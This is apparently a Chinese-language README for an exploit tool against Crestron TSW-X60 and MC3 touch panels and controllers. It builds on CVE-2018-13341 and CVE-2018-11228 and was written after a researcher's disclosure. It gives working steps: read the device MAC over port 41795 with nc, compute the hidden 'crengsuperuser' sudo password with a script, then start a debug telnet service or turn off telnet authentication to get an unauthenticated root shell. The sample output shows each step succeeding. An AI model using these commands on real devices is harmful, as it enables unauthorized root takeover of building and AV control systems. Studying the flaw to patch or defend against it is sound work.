基于 Ricky Lawshae 在 Crestron TSW-X60 和 MC3 设备上的发现,本工具旨在利用 CVE-2018-13341。通过目标设备的 MAC 地址,你可以恢复隐藏账户 "crengsuperuser" 的密码,该账户拥有提升权限并允许你运行 SUDO 命令。
在 Crestron TSW-X60(版本低于 2.001.0037.001)和 MC3(版本低于 1.502.0047.00)设备上,特殊 sudo 账户的密码可以通过普通用户可访问的信息计算得出。攻击者可能破解这些密码,从而执行隐藏的 API 调用,并以提升的权限逃离 CTP 控制台沙箱环境。
可通过访问 TSW-XX60 设备的端口 41795 连接 Crestron Toolbox 协议(CTP)。然后,你可以使用 estat 命令获取设备的 MAC 地址:
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
该工具需要 cryptography 模块。
$ pip3 install cryptography
或
$ pip3 install -r requirements.txt
usage: crestron_getsudopwd.py [-h] [-m MAC]
用于生成 Crestron 隐藏账户密码的工具
optional arguments:
-h, --help 显示此帮助信息并退出
-m MAC, --mac MAC 目标 MAC 地址(不带冒号或点)
# 示例
$ python3 crestron_getsudopwd.py -m aabbccddeeff
[*] Device MAC address: AABBCCDDEEFF
[*] Password for 'crengsuperuser': RgXkA6Q415puxN0t
CVE-2018-11228 允许通过 Crestron 终端协议(CTP)中的 Bash Shell 服务实现未经认证的远程代码执行。在获得隐藏账户 "crengsuperuser" 的密码后,你可以在底层 Linux 系统上获得 root 访问权限。
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
然后,在新的 shell 中,你可以在设备上获得 root 访问权限。
$ telnet w.x.y.z
bash-3.2# whoami
root
注意: 此示例适用于 TSW 设备。对于 MC3 设备,过程略有不同。你需要使用以下命令来启用 shell:
SUDO -SN:crengsuperuser -SP:password REGEDIT \\comm\\telnetd addval UseAuthentication DWORD 0然后,SUDO -SN:crengsuperuser -SP:password LAUNCH \\windows\\services.exe /params start tel0:
以下是一些与此漏洞相关的有趣资源: